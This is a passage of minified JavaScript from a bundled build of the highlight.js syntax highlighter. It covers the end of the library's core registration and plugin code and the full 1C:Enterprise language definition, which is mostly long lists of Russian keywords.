jA=null;try{jA=JA(A)}catch(MA){if(tb1("Language definition for '{}' could not be registered.".replace("{}",a)),!z)throw MA;else tb1(MA);jA=J}if(!jA.name)jA.name=a;if(K[a]=jA,jA.rawDefinition=JA.bind(null,A),jA.aliases)r(jA.aliases,{languageName:a})}function F(a){delete K[a];for(let JA of Object.keys(q))if(q[JA]===a)delete q[JA]}function Q(){return Object.keys(K)}function u(a){IE("10.4.0","requireLanguage will be removed entirely in v11."),IE("10.4.0","Please see https://github.com/highlightjs/highlight.js/pull/2844");let JA=d(a);if(JA)return JA;throw Error("The '{}' language is required, but not loaded.".replace("{}",a))}function d(a){return a=(a||"").toLowerCase(),K[a]||K[q[a]]}function r(a,{languageName:JA}){if(typeof a==="string")a=[a];a.forEach((jA)=>{q[jA.toLowerCase()]=JA})}function c(a){let JA=d(a);return JA&&!JA.disableAutodetect}function YA(a){if(a["before:highlightBlock"]&&!a["before:highlightElement"])a["before:highlightElement"]=(JA)=>{a["before:highlightBlock"](Object.assign({block:JA.el},JA))};if(a["after:highlightBlock"]&&!a["after:highlightElement"])a["after:highlightElement"]=(JA)=>{a["after:highlightBlock"](Object.assign({block:JA.el},JA))}}function e(a){YA(a),Y.push(a)}function qA(a,JA){let jA=a;Y.forEach(function(MA){if(MA[jA])MA[jA](JA)})}function HA(a){return IE("10.2.0","fixMarkup will be removed entirely in v11.0"),IE("10.2.0","Please see https://github.com/highlightjs/highlight.js/issues/2534"),D(a)}function _A(a){return IE("10.7.0","highlightBlock will be removed entirely in v12.0"),IE("10.7.0","Please use highlightElement now."),N(a)}Object.assign(A,{highlight:_,highlightAuto:W,highlightAll:y,fixMarkup:HA,highlightElement:N,highlightBlock:_A,configure:T,initHighlighting:C,initHighlightingOnLoad:R,registerLanguage:b,unregisterLanguage:F,listLanguages:Q,getLanguage:d,registerAliases:r,requireLanguage:u,autoDetection:c,inherit:Lz8,addPlugin:e,vuePlugin:Hjq(A).VuePlugin}),A.debugMode=function(){z=!1},A.safeMode=function(){z=!0},A.versionString=zjq;for(let a in GaA)if(typeof GaA[a]==="object")yz8(GaA[a]);return Object.assign(A,GaA),A.addPlugin(M),A.addPlugin(Jjq),A.addPlugin(f),A},$jq=Xjq({});gz8.exports=$jq});var Uz8=v((gEz,Qz8)=>{function _jq(A){var K="[A-Za-zА-Яа-яёЁ_][A-Za-zА-Яа-яёЁ_0-9]+",q="далее ",Y="возврат вызватьисключение выполнить для если и из или иначе иначеесли исключение каждого конецесли "+"конецпопытки конеццикла не новый перейти перем по пока попытка прервать продолжить тогда цикл экспорт ",z=q+Y,w="загрузитьизфайла ",H="вебклиент вместо внешнеесоединение клиент конецобласти мобильноеприложениеклиент мобильноеприложениесервер "+"наклиенте наклиентенасервере наклиентенасерверебезконтекста насервере насерверебезконтекста область перед "+"после сервер толстыйклиентобычноеприложение толстыйклиентуправляемоеприложение тонкийклиент ",J=w+H,O="разделительстраниц разделительстрок символтабуляции ",X="ansitooem oemtoansi ввестивидсубконто ввестиперечисление ввестипериод ввестиплансчетов выбранныйплансчетов "+"датагод датамесяц датачисло заголовоксистемы значениевстроку значениеизстроки каталогиб каталогпользователя "+"кодсимв конгода конецпериодаби конецрассчитанногопериодаби конецстандартногоинтервала конквартала конмесяца "+"коннедели лог лог10 максимальноеколичествосубконто названиеинтерфейса названиенабораправ назначитьвид "+"назначитьсчет найтиссылки началопериодаби началостандартногоинтервала начгода начквартала начмесяца "+"начнедели номерднягода номерднянедели номернеделигода обработкаожидания основнойжурналрасчетов "+"основнойплансчетов основнойязык очиститьокносообщений периодстр получитьвремята получитьдатута "+"получитьдокументта получитьзначенияотбора получитьпозициюта получитьпустоезначение получитьта "+"префиксавтонумерации пропись пустоезначение разм разобратьпозициюдокумента рассчитатьрегистрына "+"рассчитатьрегистрыпо симв создатьобъект статусвозврата стрколичествострок сформироватьпозициюдокумента "+"счетпокоду текущеевремя типзначения типзначениястр установитьтана установитьтапо фиксшаблон шаблон ",$="acos asin atan base64значение base64строка cos exp log log10 pow sin sqrt tan xmlзначение xmlстрока "+"xmlтип xmlтипзнч активноеокно безопасныйрежим безопасныйрежимразделенияданных булево ввестидату ввестизначение "+"ввестистроку ввестичисло возможностьчтенияxml вопрос восстановитьзначение врег выгрузитьжурналрегистрации "+"выполнитьобработкуоповещения выполнитьпроверкуправдоступа вычислить год данныеформывзначение дата день деньгода "+"деньнедели добавитьмесяц заблокироватьданныедляредактирования заблокироватьработупользователя завершитьработусистемы "+"загрузитьвнешнююкомпоненту закрытьсправку записатьjson записатьxml записатьдатуjson записьжурналарегистрации "+"заполнитьзначениясвойств запроситьразрешениепользователя запуститьприложение запуститьсистему зафиксироватьтранзакцию "+"значениевданныеформы значениевстрокувнутр значениевфайл значениезаполнено значениеизстрокивнутр значениеизфайла "+"изxmlтипа импортмоделиxdto имякомпьютера имяпользователя инициализироватьпредопределенныеданные информацияобошибке "+"каталогбиблиотекимобильногоустройства каталогвременныхфайлов каталогдокументов каталогпрограммы кодироватьстроку "+"кодлокализацииинформационнойбазы кодсимвола командасистемы конецгода конецдня конецквартала конецмесяца конецминуты "+"конецнедели конецчаса конфигурациябазыданныхизмененадинамически конфигурацияизменена копироватьданныеформы "+"копироватьфайл краткоепредставлениеошибки лев макс местноевремя месяц мин минута монопольныйрежим найти "+"найтинедопустимыесимволыxml найтиокнопонавигационнойссылке найтипомеченныенаудаление найтипоссылкам найтифайлы "+"началогода началодня началоквартала началомесяца началоминуты началонедели началочаса начатьзапросразрешенияпользователя "+"начатьзапускприложения начатькопированиефайла начатьперемещениефайла начатьподключениевнешнейкомпоненты "+"начатьподключениерасширенияработыскриптографией начатьподключениерасширенияработысфайлами начатьпоискфайлов "+"начатьполучениекаталогавременныхфайлов начатьполучениекаталогадокументов начатьполучениерабочегокаталогаданныхпользователя "+"начатьполучениефайлов начатьпомещениефайла начатьпомещениефайлов начатьсозданиедвоичныхданныхизфайла начатьсозданиекаталога "+"начатьтранзакцию начатьудалениефайлов начатьустановкувнешнейкомпоненты начатьустановкурасширенияработыскриптографией "+"начатьустановкурасширенияработысфайлами неделягода необходимостьзавершениясоединения номерсеансаинформационнойбазы "+"номерсоединенияинформационнойбазы нрег нстр обновитьинтерфейс обновитьнумерациюобъектов обновитьповторноиспользуемыезначения "+"обработкапрерыванияпользователя объединитьфайлы окр описаниеошибки оповестить оповеститьобизменении "+"отключитьобработчикзапросанастроекклиенталицензирования отключитьобработчикожидания отключитьобработчикоповещения "+"открытьзначение открытьиндекссправки открытьсодержаниесправки открытьсправку открытьформу открытьформумодально "+"отменитьтранзакцию очиститьжурналрегистрации очиститьнастройкипользователя очиститьсообщения параметрыдоступа "+"перейтипонавигационнойссылке переместитьфайл подключитьвнешнююкомпоненту "+"подключитьобработчикзапросанастроекклиенталицензирования подключитьобработчикожидания подключитьобработчикоповещения "+"подключитьрасширениеработыскриптографией подключитьрасширениеработысфайлами подробноепредставлениеошибки "+"показатьвводдаты показатьвводзначения показатьвводстроки показатьвводчисла показатьвопрос показатьзначение "+"показатьинформациюобошибке показатьнакарте показатьоповещениепользователя показатьпредупреждение полноеимяпользователя "+"получитьcomобъект получитьxmlтип получитьадреспоместоположению получитьблокировкусеансов получитьвремязавершенияспящегосеанса "+"получитьвремязасыпанияпассивногосеанса получитьвремяожиданияблокировкиданных получитьданныевыбора "+"получитьдополнительныйпараметрклиенталицензирования получитьдопустимыекодылокализации получитьдопустимыечасовыепояса "+"получитьзаголовокклиентскогоприложения получитьзаголовоксистемы получитьзначенияотборажурналарегистрации "+"получитьидентификаторконфигурации получитьизвременногохранилища получитьимявременногофайла "+"получитьимяклиенталицензирования получитьинформациюэкрановклиента получитьиспользованиежурналарегистрации "+"получитьиспользованиесобытияжурналарегистрации получитькраткийзаголовокприложения получитьмакетоформления "+"получитьмаскувсефайлы получитьмаскувсефайлыклиента получитьмаскувсефайлысервера получитьместоположениепоадресу "+"получитьминимальнуюдлинупаролейпользователей получитьнавигационнуюссылку получитьнавигационнуюссылкуинформационнойбазы "+"получитьобновлениеконфигурациибазыданных получитьобновлениепредопределенныхданныхинформационнойбазы получитьобщиймакет "+"получитьобщуюформу получитьокна получитьоперативнуюотметкувремени получитьотключениебезопасногорежима "+"получитьпараметрыфункциональныхопцийинтерфейса получитьполноеимяпредопределенногозначения "+"получитьпредставлениянавигационныхссылок получитьпроверкусложностипаролейпользователей получитьразделительпути "+"получитьразделительпутиклиента получитьразделительпутисервера получитьсеансыинформационнойбазы "+"получитьскоростьклиентскогосоединения получитьсоединенияинформационнойбазы получитьсообщенияпользователю "+"получитьсоответствиеобъектаиформы получитьсоставстандартногоинтерфейсаodata получитьструктурухранениябазыданных "+"получитьтекущийсеансинформационнойбазы получитьфайл получитьфайлы получитьформу получитьфункциональнуюопцию "+"получитьфункциональнуюопциюинтерфейса получитьчасовойпоясинформационнойбазы пользователиос поместитьвовременноехранилище "+"поместитьфайл поместитьфайлы прав праводоступа предопределенноезначение представлениекодалокализации представлениепериода "+"представлениеправа представлениеприложения представлениесобытияжурналарегистрации представлениечасовогопояса предупреждение "+"прекратитьработусистемы привилегированныйрежим продолжитьвызов прочитатьjson прочитатьxml прочитатьдатуjson пустаястрока "+"рабочийкаталогданныхпользователя разблокироватьданныедляредактирования разделитьфайл разорватьсоединениесвнешнимисточникомданных "+"раскодироватьстроку рольдоступна секунда сигнал символ скопироватьжурналрегистрации смещениелетнеговремени "+"смещениестандартноговремени соединитьбуферыдвоичныхданных создатькаталог создатьфабрикуxdto сокрл сокрлп сокрп сообщить "+"состояние сохранитьзначение сохранитьнастройкипользователя сред стрдлина стрзаканчиваетсяна стрзаменить стрнайти стрначинаетсяс "+"строка строкасоединенияинформационнойбазы стрполучитьстроку стрразделить стрсоединить стрсравнить стрчисловхождений "+"стрчислострок стршаблон текущаядата текущаядатасеанса текущаяуниверсальнаядата текущаяуниверсальнаядатавмиллисекундах "+"текущийвариантинтерфейсаклиентскогоприложения текущийвариантосновногошрифтаклиентскогоприложения текущийкодлокализации "+"текущийрежимзапуска текущийязык текущийязыксистемы тип типзнч транзакцияактивна трег удалитьданныеинформационнойбазы "+"удалитьизвременногохранилища удалитьобъекты удалитьфайлы универсальноевремя установитьбезопасныйрежим "+"установитьбезопасныйрежимразделенияданных установитьблокировкусеансов установитьвнешнююкомпоненту "+"установитьвремязавершенияспящегосеанса установитьвремязасыпанияпассивногосеанса установитьвремяожиданияблокировкиданных "+"установитьзаголовокклиентскогоприложения установитьзаголовоксистемы установитьиспользованиежурналарегистрации "+"установитьиспользованиесобытияжурналарегистрации установитькраткийзаголовокприложения "+"установитьминимальнуюдлинупаролейпользователей установитьмонопольныйрежим установитьнастройкиклиенталицензирования "+"установитьобновлениепредопределенныхданныхинформационнойбазы установитьотключениебезопасногорежима "+"установитьпараметрыфункциональныхопцийинтерфейса установитьпривилегированныйрежим "+"установитьпроверкусложностипаролейпользователей установитьрасширениеработыскриптографией "+"установитьрасширениеработысфайлами установитьсоединениесвнешнимисточникомданных установитьсоответствиеобъектаиформы "+"установитьсоставстандартногоинтерфейсаodata установитьчасовойпоясинформационнойбазы установитьчасовойпояссеанса "+"формат цел час часовойпояс часовойпояссеанса число числопрописью этоадресвременногохранилища ",_="wsссылки библиотекакартинок библиотекамакетовоформлениякомпоновкиданных библиотекастилей бизнеспроцессы "+"внешниеисточникиданных внешниеобработки внешниеотчеты встроенныепокупки главныйинтерфейс главныйстиль "+"документы доставляемыеуведомления журналыдокументов задачи информацияобинтернетсоединении использованиерабочейдаты "+"историяработыпользователя константы критерииотбора метаданные обработки отображениерекламы отправкадоставляемыхуведомлений "+"отчеты панельзадачос параметрзапуска параметрысеанса перечисления планывидоврасчета планывидовхарактеристик "+"планыобмена планысчетов полнотекстовыйпоиск пользователиинформационнойбазы последовательности проверкавстроенныхпокупок "+"рабочаядата расширенияконфигурации регистрыбухгалтерии регистрынакопления регистрырасчета регистрысведений "+"регламентныезадания сериализаторxdto справочники средствагеопозиционирования средствакриптографии средствамультимедиа "+"средстваотображениярекламы средствапочты средствателефонии фабрикаxdto файловыепотоки фоновыезадания хранилищанастроек "+"хранилищевариантовотчетов хранилищенастроекданныхформ хранилищеобщихнастроек хранилищепользовательскихнастроекдинамическихсписков "+"хранилищепользовательскихнастроекотчетов хранилищесистемныхнастроек ",G=O+X+$+_,Z="webцвета windowsцвета windowsшрифты библиотекакартинок рамкистиля символы цветастиля шрифтыстиля ",W="автоматическоесохранениеданныхформывнастройках автонумерациявформе автораздвижениесерий "+"анимациядиаграммы вариантвыравниванияэлементовизаголовков вариантуправлениявысотойтаблицы "+"вертикальнаяпрокруткаформы вертикальноеположение вертикальноеположениеэлемента видгруппыформы "+"виддекорацииформы виддополненияэлементаформы видизмененияданных видкнопкиформы видпереключателя "+"видподписейкдиаграмме видполяформы видфлажка влияниеразмеранапузырекдиаграммы горизонтальноеположение "+"горизонтальноеположениеэлемента группировкаколонок группировкаподчиненныхэлементовформы "+"группыиэлементы действиеперетаскивания дополнительныйрежимотображения допустимыедействияперетаскивания "+"интервалмеждуэлементамиформы использованиевывода использованиеполосыпрокрутки "+"используемоезначениеточкибиржевойдиаграммы историявыборапривводе источникзначенийоситочекдиаграммы "+"источникзначенияразмерапузырькадиаграммы категориягруппыкоманд максимумсерий начальноеотображениедерева "+"начальноеотображениесписка обновлениетекстаредактирования ориентациядендрограммы ориентациядиаграммы "+"ориентацияметокдиаграммы ориентацияметоксводнойдиаграммы ориентацияэлементаформы отображениевдиаграмме "+"отображениевлегендедиаграммы отображениегруппыкнопок отображениезаголовкашкалыдиаграммы "+"отображениезначенийсводнойдиаграммы отображениезначенияизмерительнойдиаграммы "+"отображениеинтерваладиаграммыганта отображениекнопки отображениекнопкивыбора отображениеобсужденийформы "+"отображениеобычнойгруппы отображениеотрицательныхзначенийпузырьковойдиаграммы отображениепанелипоиска "+"отображениеподсказки отображениепредупрежденияприредактировании отображениеразметкиполосырегулирования "+"отображениестраницформы отображениетаблицы отображениетекстазначениядиаграммыганта "+"отображениеуправленияобычнойгруппы отображениефигурыкнопки палитрацветовдиаграммы поведениеобычнойгруппы "+"поддержкамасштабадендрограммы поддержкамасштабадиаграммыганта поддержкамасштабасводнойдиаграммы "+"поисквтаблицепривводе положениезаголовкаэлементаформы положениекартинкикнопкиформы "+"положениекартинкиэлементаграфическойсхемы положениекоманднойпанелиформы положениекоманднойпанелиэлементаформы "+"положениеопорнойточкиотрисовки положениеподписейкдиаграмме положениеподписейшкалызначенийизмерительнойдиаграммы "+"положениесостоянияпросмотра положениестрокипоиска положениетекстасоединительнойлинии положениеуправленияпоиском "+"положениешкалывремени порядокотображенияточекгоризонтальнойгистограммы порядоксерийвлегендедиаграммы "+"размеркартинки расположениезаголовкашкалыдиаграммы растягиваниеповертикалидиаграммыганта "+"режимавтоотображениясостояния режимвводастроктаблицы режимвыборанезаполненного режимвыделениядаты "+"режимвыделениястрокитаблицы режимвыделениятаблицы режимизмененияразмера режимизменениясвязанногозначения "+"режимиспользованиядиалогапечати режимиспользованияпараметракоманды режиммасштабированияпросмотра "+"режимосновногоокнаклиентскогоприложения режимоткрытияокнаформы режимотображениявыделения "+"режимотображениягеографическойсхемы режимотображениязначенийсерии режимотрисовкисеткиграфическойсхемы "+"режимполупрозрачностидиаграммы режимпробеловдиаграммы режимразмещениянастранице режимредактированияколонки "+"режимсглаживаниядиаграммы режимсглаживанияиндикатора режимсписказадач сквозноевыравнивание "+"сохранениеданныхформывнастройках способзаполнениятекстазаголовкашкалыдиаграммы "+"способопределенияограничивающегозначениядиаграммы стандартнаягруппакоманд стандартноеоформление "+"статусоповещенияпользователя стильстрелки типаппроксимациилиниитрендадиаграммы типдиаграммы "+"типединицышкалывремени типимпортасерийслоягеографическойсхемы типлиниигеографическойсхемы типлиниидиаграммы "+"типмаркерагеографическойсхемы типмаркерадиаграммы типобластиоформления "+"типорганизацииисточникаданныхгеографическойсхемы типотображениясериислоягеографическойсхемы "+"типотображенияточечногообъектагеографическойсхемы типотображенияшкалыэлементалегендыгеографическойсхемы "+"типпоискаобъектовгеографическойсхемы типпроекциигеографическойсхемы типразмещенияизмерений "+"типразмещенияреквизитовизмерений типрамкиэлементауправления типсводнойдиаграммы "+"типсвязидиаграммыганта типсоединениязначенийпосериямдиаграммы типсоединенияточекдиаграммы "+"типсоединительнойлинии типстороныэлементаграфическойсхемы типформыотчета типшкалырадарнойдиаграммы "+"факторлиниитрендадиаграммы фигуракнопки фигурыграфическойсхемы фиксациявтаблице форматдняшкалывремени "+"форматкартинки ширинаподчиненныхэлементовформы ",D="виддвижениябухгалтерии виддвижениянакопления видпериодарегистрарасчета видсчета видточкимаршрутабизнеспроцесса "+"использованиеагрегатарегистранакопления использованиегруппиэлементов использованиережимапроведения "+"использованиесреза периодичностьагрегатарегистранакопления режимавтовремя режимзаписидокумента режимпроведениядокумента ",j="авторегистрацияизменений допустимыйномерсообщения отправкаэлементаданных получениеэлементаданных ",M="использованиерасшифровкитабличногодокумента ориентациястраницы положениеитоговколоноксводнойтаблицы "+"положениеитоговстроксводнойтаблицы положениетекстаотносительнокартинки расположениезаголовкагруппировкитабличногодокумента "+"способчтениязначенийтабличногодокумента типдвустороннейпечати типзаполненияобластитабличногодокумента "+"типкурсоровтабличногодокумента типлиниирисункатабличногодокумента типлинииячейкитабличногодокумента "+"типнаправленияпереходатабличногодокумента типотображениявыделениятабличногодокумента типотображениялинийсводнойтаблицы "+"типразмещениятекстатабличногодокумента типрисункатабличногодокумента типсмещениятабличногодокумента "+"типузоратабличногодокумента типфайлатабличногодокумента точностьпечати чередованиерасположениястраниц ",P="отображениевремениэлементовпланировщика ",f="типфайлаформатированногодокумента ",N="обходрезультатазапроса типзаписизапроса ",T="видзаполнениярасшифровкипостроителяотчета типдобавленияпредставлений типизмеренияпостроителяотчета типразмещенияитогов ",C="доступкфайлу режимдиалогавыборафайла режимоткрытияфайла ",R="типизмеренияпостроителязапроса ",x="видданныханализа методкластеризации типединицыинтервалавременианализаданных типзаполнениятаблицырезультатаанализаданных "+"типиспользованиячисловыхзначенийанализаданных типисточникаданныхпоискаассоциаций типколонкианализаданныхдереворешений "+"типколонкианализаданныхкластеризация типколонкианализаданныхобщаястатистика типколонкианализаданныхпоискассоциаций "+"типколонкианализаданныхпоискпоследовательностей типколонкимоделипрогноза типмерырасстоянияанализаданных "+"типотсеченияправилассоциации типполяанализаданных типстандартизациианализаданных типупорядочиванияправилассоциациианализаданных "+"типупорядочиванияшаблоновпоследовательностейанализаданных типупрощениядереварешений ",y="wsнаправлениепараметра вариантxpathxs вариантзаписидатыjson вариантпростоготипаxs видгруппымоделиxs видфасетаxdto "+"действиепостроителяdom завершенностьпростоготипаxs завершенностьсоставноготипаxs завершенностьсхемыxs запрещенныеподстановкиxs "+"исключениягруппподстановкиxs категорияиспользованияатрибутаxs категорияограниченияидентичностиxs категорияограниченияпространствименxs "+"методнаследованияxs модельсодержимогоxs назначениетипаxml недопустимыеподстановкиxs обработкапробельныхсимволовxs обработкасодержимогоxs "+"ограничениезначенияxs параметрыотбораузловdom переносстрокjson позициявдокументеdom пробельныесимволыxml типатрибутаxml типзначенияjson "+"типканоническогоxml типкомпонентыxs типпроверкиxml типрезультатаdomxpath типузлаdom типузлаxml формаxml формапредставленияxs "+"форматдатыjson экранированиесимволовjson ",B="видсравнениякомпоновкиданных действиеобработкирасшифровкикомпоновкиданных направлениесортировкикомпоновкиданных "+"расположениевложенныхэлементоврезультатакомпоновкиданных расположениеитоговкомпоновкиданных расположениегруппировкикомпоновкиданных "+"расположениеполейгруппировкикомпоновкиданных расположениеполякомпоновкиданных расположениереквизитовкомпоновкиданных "+"расположениересурсовкомпоновкиданных типбухгалтерскогоостаткакомпоновкиданных типвыводатекстакомпоновкиданных "+"типгруппировкикомпоновкиданных типгруппыэлементовотборакомпоновкиданных типдополненияпериодакомпоновкиданных "+"типзаголовкаполейкомпоновкиданных типмакетагруппировкикомпоновкиданных типмакетаобластикомпоновкиданных типостаткакомпоновкиданных "+"типпериодакомпоновкиданных типразмещениятекстакомпоновкиданных типсвязинаборовданныхкомпоновкиданных типэлементарезультатакомпоновкиданных "+"расположениелегендыдиаграммыкомпоновкиданных типпримененияотборакомпоновкиданных режимотображенияэлементанастройкикомпоновкиданных "+"режимотображениянастроеккомпоновкиданных состояниеэлементанастройкикомпоновкиданных способвосстановлениянастроеккомпоновкиданных "+"режимкомпоновкирезультата использованиепараметракомпоновкиданных автопозицияресурсовкомпоновкиданных "+"вариантиспользованиягруппировкикомпоновкиданных расположениересурсоввдиаграммекомпоновкиданных фиксациякомпоновкиданных "+"использованиеусловногооформлениякомпоновкиданных ",b="важностьинтернетпочтовогосообщения обработкатекстаинтернетпочтовогосообщения способкодированияинтернетпочтовоговложения "+"способкодированиянеasciiсимволовинтернетпочтовогосообщения типтекстапочтовогосообщения протоколинтернетпочты "+"статусразборапочтовогосообщения ",F="режимтранзакциизаписижурналарегистрации статустранзакциизаписижурналарегистрации уровеньжурналарегистрации ",Q="расположениехранилищасертификатовкриптографии режимвключениясертификатовкриптографии режимпроверкисертификатакриптографии "+"типхранилищасертификатовкриптографии ",u="кодировкаименфайловвzipфайле методсжатияzip методшифрованияzip режимвосстановленияпутейфайловzip режимобработкиподкаталоговzip "+"режимсохраненияпутейzip уровеньсжатияzip ",d="звуковоеоповещение направлениепереходакстроке позициявпотоке порядокбайтов режимблокировкиданных режимуправленияблокировкойданных "+"сервисвстроенныхпокупок состояниефоновогозадания типподписчикадоставляемыхуведомлений уровеньиспользованиязащищенногосоединенияftp ",r="направлениепорядкасхемызапроса типдополненияпериодамисхемызапроса типконтрольнойточкисхемызапроса типобъединениясхемызапроса "+"типпараметрадоступнойтаблицысхемызапроса типсоединениясхемызапроса ",c="httpметод автоиспользованиеобщегореквизита автопрефиксномеразадачи вариантвстроенногоязыка видиерархии видрегистранакопления "+"видтаблицывнешнегоисточникаданных записьдвиженийприпроведении заполнениепоследовательностей индексирование "+"использованиебазыпланавидоврасчета использованиебыстроговыбора использованиеобщегореквизита использованиеподчинения "+"использованиеполнотекстовогопоиска использованиеразделяемыхданныхобщегореквизита использованиереквизита "+"назначениеиспользованияприложения назначениерасширенияконфигурации направлениепередачи обновлениепредопределенныхданных "+"оперативноепроведение основноепредставлениевидарасчета основноепредставлениевидахарактеристики основноепредставлениезадачи "+"основноепредставлениепланаобмена основноепредставлениесправочника основноепредставлениесчета перемещениеграницыприпроведении "+"периодичностьномерабизнеспроцесса периодичностьномерадокумента периодичностьрегистрарасчета периодичностьрегистрасведений "+"повторноеиспользованиевозвращаемыхзначений полнотекстовыйпоискпривводепостроке принадлежностьобъекта проведение "+"разделениеаутентификацииобщегореквизита разделениеданныхобщегореквизита разделениерасширенийконфигурацииобщегореквизита "+"режимавтонумерацииобъектов режимзаписирегистра режимиспользованиямодальности "+"режимиспользованиясинхронныхвызововрасширенийплатформыивнешнихкомпонент режимповторногоиспользованиясеансов "+"режимполученияданныхвыборапривводепостроке режимсовместимости режимсовместимостиинтерфейса "+"режимуправленияблокировкойданныхпоумолчанию сериикодовпланавидовхарактеристик сериикодовпланасчетов "+"сериикодовсправочника созданиепривводе способвыбора способпоискастрокипривводепостроке способредактирования "+"типданныхтаблицывнешнегоисточникаданных типкодапланавидоврасчета типкодасправочника типмакета типномерабизнеспроцесса "+"типномерадокумента типномеразадачи типформы удалениедвижений ",YA="важностьпроблемыприменениярасширенияконфигурации вариантинтерфейсаклиентскогоприложения вариантмасштабаформклиентскогоприложения "+"вариантосновногошрифтаклиентскогоприложения вариантстандартногопериода вариантстандартнойдатыначала видграницы видкартинки "+"видотображенияполнотекстовогопоиска видрамки видсравнения видцвета видчисловогозначения видшрифта допустимаядлина допустимыйзнак "+"использованиеbyteordermark использованиеметаданныхполнотекстовогопоиска источникрасширенийконфигурации клавиша кодвозвратадиалога "+"кодировкаxbase кодировкатекста направлениепоиска направлениесортировки обновлениепредопределенныхданных обновлениеприизмененииданных "+"отображениепанелиразделов проверказаполнения режимдиалогавопрос режимзапускаклиентскогоприложения режимокругления режимоткрытияформприложения "+"режимполнотекстовогопоиска скоростьклиентскогосоединения состояниевнешнегоисточникаданных состояниеобновленияконфигурациибазыданных "+"способвыборасертификатаwindows способкодированиястроки статуссообщения типвнешнейкомпоненты типплатформы типповеденияклавишиenter "+"типэлементаинформацииовыполненииобновленияконфигурациибазыданных уровеньизоляциитранзакций хешфункция частидаты",e=Z+W+D+j+M+P+f+N+T+C+R+x+y+B+b+F+Q+u+d+r+c+YA,qA="comобъект ftpсоединение httpзапрос httpсервисответ httpсоединение wsопределения wsпрокси xbase анализданных аннотацияxs "+"блокировкаданных буфердвоичныхданных включениеxs выражениекомпоновкиданных генераторслучайныхчисел географическаясхема "+"географическиекоординаты графическаясхема группамоделиxs данныерасшифровкикомпоновкиданных двоичныеданные дендрограмма "+"диаграмма диаграммаганта диалогвыборафайла диалогвыборацвета диалогвыборашрифта диалограсписаниярегламентногозадания "+"диалогредактированиястандартногопериода диапазон документdom документhtml документацияxs доставляемоеуведомление "+"записьdom записьfastinfoset записьhtml записьjson записьxml записьzipфайла записьданных записьтекста записьузловdom "+"запрос защищенноесоединениеopenssl значенияполейрасшифровкикомпоновкиданных извлечениетекста импортxs интернетпочта "+"интернетпочтовоесообщение интернетпочтовыйпрофиль интернетпрокси интернетсоединение информациядляприложенияxs "+"использованиеатрибутаxs использованиесобытияжурналарегистрации источникдоступныхнастроеккомпоновкиданных "+"итераторузловdom картинка квалификаторыдаты квалификаторыдвоичныхданных квалификаторыстроки квалификаторычисла "+"компоновщикмакетакомпоновкиданных компоновщикнастроеккомпоновкиданных конструктормакетаоформлениякомпоновкиданных "+"конструкторнастроеккомпоновкиданных конструкторформатнойстроки линия макеткомпоновкиданных макетобластикомпоновкиданных "+"макетоформлениякомпоновкиданных маскаxs менеджеркриптографии наборсхемxml настройкикомпоновкиданных настройкисериализацииjson "+"обработкакартинок обработкарасшифровкикомпоновкиданных обходдереваdom объявлениеатрибутаxs объявлениенотацииxs "+"объявлениеэлементаxs описаниеиспользованиясобытиядоступжурналарегистрации "+"описаниеиспользованиясобытияотказвдоступежурналарегистрации описаниеобработкирасшифровкикомпоновкиданных "+"описаниепередаваемогофайла описаниетипов определениегруппыатрибутовxs определениегруппымоделиxs "+"определениеограниченияидентичностиxs определениепростоготипаxs определениесоставноготипаxs определениетипадокументаdom "+"определенияxpathxs отборкомпоновкиданных пакетотображаемыхдокументов параметрвыбора параметркомпоновкиданных "+"параметрызаписиjson параметрызаписиxml параметрычтенияxml переопределениеxs планировщик полеанализаданных "+"полекомпоновкиданных построительdom построительзапроса построительотчета построительотчетаанализаданных "+"построительсхемxml поток потоквпамяти почта почтовоесообщение преобразованиеxsl преобразованиекканоническомуxml "+"процессорвыводарезультатакомпоновкиданныхвколлекциюзначений процессорвыводарезультатакомпоновкиданныхвтабличныйдокумент "+"процессоркомпоновкиданных разыменовательпространствименdom рамка расписаниерегламентногозадания расширенноеимяxml "+"результатчтенияданных своднаядиаграмма связьпараметравыбора связьпотипу связьпотипукомпоновкиданных сериализаторxdto "+"сертификатклиентаwindows сертификатклиентафайл сертификаткриптографии сертификатыудостоверяющихцентровwindows "+"сертификатыудостоверяющихцентровфайл сжатиеданных системнаяинформация сообщениепользователю сочетаниеклавиш "+"сравнениезначений стандартнаядатаначала стандартныйпериод схемаxml схемакомпоновкиданных табличныйдокумент "+"текстовыйдокумент тестируемоеприложение типданныхxml уникальныйидентификатор фабрикаxdto файл файловыйпоток "+"фасетдлиныxs фасетколичестваразрядовдробнойчастиxs фасетмаксимальноговключающегозначенияxs "+"фасетмаксимальногоисключающегозначенияxs фасетмаксимальнойдлиныxs фасетминимальноговключающегозначенияxs "+"фасетминимальногоисключающегозначенияxs фасетминимальнойдлиныxs фасетобразцаxs фасетобщегоколичестваразрядовxs "+"фасетперечисленияxs фасетпробельныхсимволовxs фильтрузловdom форматированнаястрока форматированныйдокумент "+"фрагментxs хешированиеданных хранилищезначения цвет чтениеfastinfoset чтениеhtml чтениеjson чтениеxml чтениеzipфайла "+"чтениеданных чтениетекста чтениеузловdom шрифт элементрезультатакомпоновкиданных ",HA="comsafearray деревозначений массив соответствие списокзначений структура таблицазначений фиксированнаяструктура "+"фиксированноесоответствие фиксированныймассив ",_A=qA+HA,a="null истина ложь неопределено",JA=A.inherit(A.NUMBER_MODE),jA={className:"string",begin:'"|\\|',end:'"|$',contains:[{begin:'""'}]},MA={begin:"'",end:"'",excludeBegin:!0,excludeEnd:!0,contains:[{className:"number",begin:"\\d{4}([\\.\\\\/:-]?\\d{2}){0,5}"}]},hA=A.inherit(A.C_LINE_COMMENT_MODE),yA={className:"meta",begin:"#|&",end:"$",keywords:{$pattern:K,"meta-keyword":z+J},contains:[hA]},AA={className:"symbol",begin:"~",end:";|:",excludeEnd:!0},wA={className:"function",variants:[{begin:"процедура|функция",end:"\\)",keywords:"процедура функция"},{begin:"конецпроцедуры|конецфункции",keywords:"конецпроцедуры конецфункции"}],contains:[{begin:"\\(",end:"\\)",endsParent:!0,contains:[{className:"params",begin:K,end:",",excludeEnd:!0,endsWithParent:!0,keywords:{$pattern:K,keyword:"знач",literal:a},contains:[JA,jA,MA]},hA]},A.inherit(A.TITLE_MODE,{begin:K})]};return{name:"1C:Enterprise",case_insensitive:!0,keywords:{$pattern:K,keyword:z,built_in:G,class:e,type:_A,literal:a},contains:[yA,wA,hA,AA,JA,jA,MA]}}Qz8.exports=_jq});var dz8=v((FEz,pz8)=>{function Gjq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function Zjq(...A){return A.map((q)=>Gjq(q)).join("")}function Wjq(A){let 